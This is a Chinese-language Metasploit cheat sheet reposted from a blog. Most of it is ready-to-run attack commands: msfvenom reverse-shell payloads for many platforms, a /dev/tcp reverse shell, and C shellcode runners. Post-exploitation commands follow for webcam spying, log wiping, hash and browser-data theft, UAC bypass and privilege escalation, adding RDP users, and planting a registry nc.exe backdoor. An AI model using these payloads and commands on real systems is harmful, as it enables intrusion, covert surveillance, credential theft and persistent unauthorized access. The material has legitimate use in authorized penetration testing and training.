Metasploit
来源自https://www.cnblogs.com/LyShark/p/12189163.html
Metasploit 是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，同时该工具也是渗透测试环境中的利器，它支持多平台Payload的生成具有完全的跨平台性，本次实验将学会生成各种攻击载荷。
快速安装Metasploit linux系统下只需要执行下面的三条命令既可以自动安装,不过国内网速你懂的.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
> msfinstall && chmod 755 msfinstall && ./msfinstall关于Msfvenom命令常用参数解释
[root@localhost ~]# msfvenom --help
-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源.
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式
-e, --encoder [encoder] 指定需要使用的encoder编码器
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集
-i, --iterations <count> 指定payload的编码次数
--shellest 最小化生成payloadWindows ShellCode
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f cWindows EXE Or DLL
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe
[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -b'\x0\x0b' \
lhost=192.168.1.20 lport=9999 -f dll > payload.dllLinux ShellCode
[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f cLinux ELF Or ELF-SO
[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf
[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf
[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf-so -o payload.soMac OS X ShellCode
[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c
[root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f cMac OS X Macho
[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.macho
[root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.machoAndroid Or Iphone App
[root@localhost ~]# msfvenom --platform android -p android/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.apk
[root@localhost ~]# msfvenom --platform apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.iosPHP Or ASP Or JSP
[root@localhost ~]# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.20 lport=9999 -f raw > shell.php
[root@localhost ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f aspx -o payload.aspx
[root@localhost ~]# msfvenom --platform java -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.jsp
[root@localhost ~]# msfvenom -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.warBASH Or PowerShell
[root@localhost ~]# msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.20 LPORT=9999 > -f raw > payload.sh
[root@localhost ~]# exec 5<>/dev/tcp/192.168.1.20/9999
[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.20 lport=9999 -f psh-cmd > payload.ps1Python Or Ruby Or NodeJS
[root@localhost ~]# msfvenom -p python/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.py
[root@localhost ~]# msfvenom -p ruby/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.rb
[root@localhost ~]# msfvenom -p cmd/unix/reverse_lua \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.lua
[root@localhost ~]# msfvenom -p nodejs/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.js
[root@localhost ~]# msfvenom -p cmd/unix/reverse_perl \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.pl服务端配置后门回弹会话(通用)
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.20
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -zWindows: 附上ShellCode有效性测试框架
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
typedef void(__stdcall *CODE) ();
int main()
{
//((void(*)(void))&buf)();
PVOID pFunction = NULL;
pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pFunction, buf, sizeof(buf));
CODE StartShell = (CODE)pFunction;
StartShell();
}Linux: 附上ShellCode有效性测试框架
#include <stdlib.h>
const unsigned char shellcode[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9";
int main(int argc, char **argv) {
int (*ret)();
ret = (int(*)())shellcode;
(int)(*ret)();
exit(0);
}
#include <stdio.h>
#include <string.h>
char *shellcode = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}后渗透基础命令
msf5 exploit(multi/handler) > sessions # 查询当前会话
msf5 exploit(multi/handler) > sessions -i 1 # 通过ID号进入指定会话
msf5 exploit(multi/handler) > sessions -k 1 # 通过ID号杀死一个会话
msf5 exploit(multi/handler) > background # 将会话放入后台
msf5 exploit(multi/handler) > getuid/getpid # 查询用户权限与PID
msf5 exploit(multi/handler) > sysinfo # 查看目标系统信息
msf5 exploit(multi/handler) > ps # 查目标主机进程
msf5 exploit(multi/handler) > kill PID # 杀死目标制定进程
msf5 exploit(multi/handler) > getsystem # 尝试令牌提权
msf5 exploit(multi/handler) > shell # 进入目标shell环境
msf5 exploit(multi/handler) > enumdesktops # 查看可用的桌面
msf5 exploit(multi/handler) > getdesktop # 获取当前meterpreter关联的桌面
msf5 exploit(multi/handler) > set_desktop # 设置meterpreter关联的桌面
msf5 exploit(multi/handler) > screenshot # 截屏
msf5 exploit(multi/handler) > run vnc # 使用vnc远程桌面连接
msf5 exploit(multi/handler) > uictl disable mouse # 禁用目标鼠标
msf5 exploit(multi/handler) > uictl enable keyboard # 开启目标键盘
msf5 exploit(multi/handler) > webcam_list # 查看目标主机摄像头
msf5 exploit(multi/handler) > webcam_snap # 摄像头拍裸照
msf5 exploit(multi/handler) > webcam_stream # 开启目标主机摄像头
msf5 exploit(multi/handler) > clearav # 销毁日志文件
msf5 exploit(multi/handler) > webcam_stream -i 1/2 #打开前置或后置摄像头
msf5 exploit(multi/handler) > check_root #检测root
msf5 exploit(multi/handler) > dump_calllog #下载电话记录
msf5 exploit(multi/handler) > dump_contacts #下载信息记录
msf5 exploit(multi/handler) > geolocate #定位，需要下载谷歌地图Migrate进程迁移
msf5 exploit(multi/handler) > execute # 在目标机器中执行文件
msf5 exploit(multi/handler) > execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见-i交互
msf5 exploit(multi/handler) > getpid
msf5 exploit(multi/handler) > ps
msf5 exploit(multi/handler) > migrate PID # 通过PID号迁移进程文件查阅与远程传输
msf5 exploit(multi/handler) > getwd # 查看当前工作目录
msf5 exploit(multi/handler) > search -f *filename* # 搜索文件
msf5 exploit(multi/handler) > cat c:\\lyshark.log # 查看文件内容
msf5 exploit(multi/handler) > upload /tmp/shell.exe C:\\shell.exe # 上传文件到目标机
msf5 exploit(multi/handler) > download c:\\shell.exe /tmp/ # 下载文件到本机上
msf5 exploit(multi/handler) > edit c:\\lyshark.log # VIM编辑或创建文件
msf5 exploit(multi/handler) > rm C:\\lyshark.log # 删除文件
msf5 exploit(multi/handler) > getlwd # 看肉鸡当前目录
msf5 exploit(multi/handler) > lcd /tmp # 切换目录网络与端口转发/端口扫描
msf5 exploit(multi/handler) > ifconfig # 查询肉鸡IP地址
msf5 exploit(multi/handler) > netstat -antp # 查询目标网络连接
msf5 exploit(multi/handler) > arp -a # 查询目标ARP缓存
msf5 exploit(multi/handler) > getproxy # 查看目标代理信息
msf5 exploit(multi/handler) > route # 查看目标路由表
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 # 扫描192.168.1.0/24网段
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.100 PORTS=3389 # 检测是否开启3389端口
#-----------------------------------------------------------------------
# portfwd 端口转发与端口关闭
portfwd add -l 9999 -p 3389 -r 127.0.0.1 # 将目标机3389端口转发到本地9999
portfwd list # 查询当前转发列表
portfwd delete -l 9999 # 删除本地主机的9999端口映射
#-----------------------------------------------------------------------
# autoroute 添加与删除主机路由
run autoroute -p # 查询添加的路由记录
run autoroute -s 10.10.10.1 -n 255.255.255.0 # 在目标主机添加一条路由
run autoroute -d -s 10.10.10.1 # 删除目标主机中的路由
run autoroute -s 10.10.10.1/24 # 添加一个路由网段后渗透信息搜集模块
#-----------------------------------------------------------------------
# Centos系统中这些模块默认保存在以下目录中
[root@localhost post]# cd /opt/metasploit-framework/embedded/framework/modules/post/
[root@localhost post]# ls
aix android apple_ios brocade cisco firefox hardware juniper linux multi osx solaris windows
# 以Windows系统中的搜集模块为例,其默认存储在以下路径下.
[root@localhost gather]# pwd
/opt/metasploit-framework/embedded/framework/modules/post/windows/gather
#-----------------------------------------------------------------------
# 信息搜集模块众多,这里拿几个常用模块备注
meterpreter > info post/windows/gather/enum_files # 查询模块配置参数
meterpreter > run post/windows/gather/enum_files # 枚举目标服务
meterpreter > run post/windows/gather/enum_services # 枚举目标服务
meterpreter > run post/windows/gather/hashdump # 盗取Hash
meterpreter > run post/windows/gather/checkvm # 是否虚拟机
meterpreter > run post/windows/gather/forensics/enum_drives # 查看分区
meterpreter > run post/windows/gather/enum_applications # 获取安装软件信息
meterpreter > run post/windows/gather/dumplinks # 获取最近的文件操作
meterpreter > run post/windows/gather/enum_ie # 获取IE缓存
meterpreter > run post/windows/gather/enum_chrome # 获取Chrome缓存
meterpreter > run post/windows/gather/enum_patches # 补丁信息
meterpreter > run post/windows/gather/enum_domain # 查找域控针对肉鸡的提权操作
#-----------------------------------------------------------------------
# 使用bypassuac脚本尝试提权
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run
#-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_patches # 收集目标主机补丁情况
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei # 寻找相符合的提权脚本,执行测试
msf > set SESSION 1
msf > exploit添加系统用户与开启3389远程
#-----------------------------------------------------------------------
# 添加系统用户与开启远程桌面
meterpreter > run getgui -e # 开启远程桌面
meterpreter > run getgui -u lyshark -p 123123 # 添加用户
meterpreter > run getgui -f 9999 -e # 3389端口转发到9999
meterpreter > run post/windows/manage/enable_rdp # 开启远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123 # 添加用户
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999 # 将3389端口转发到9999注册表操作与写入后门
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据
#-----------------------------------------------------------------------
upload /root/nc.exe C:\\windows\\ # 上传nc工具到根目录
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe' # 加后门
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell # 查看键值
[root@localhost ~]# nc -v 192.168.1.20 666 # 攻击者连接后门目标网卡抓包
msf > use sniffer
msf > sniffer_interfaces # 查看网卡
msf > sniffer_start 1 # 选择网卡开始抓包
msf > sniffer_stats 1 # 查看状态
msf > sniffer_dump 1 /tmp/ltest.pcap #导出pcap数据包
msf > sniffer_stop 1 # 停止抓包最后更新于
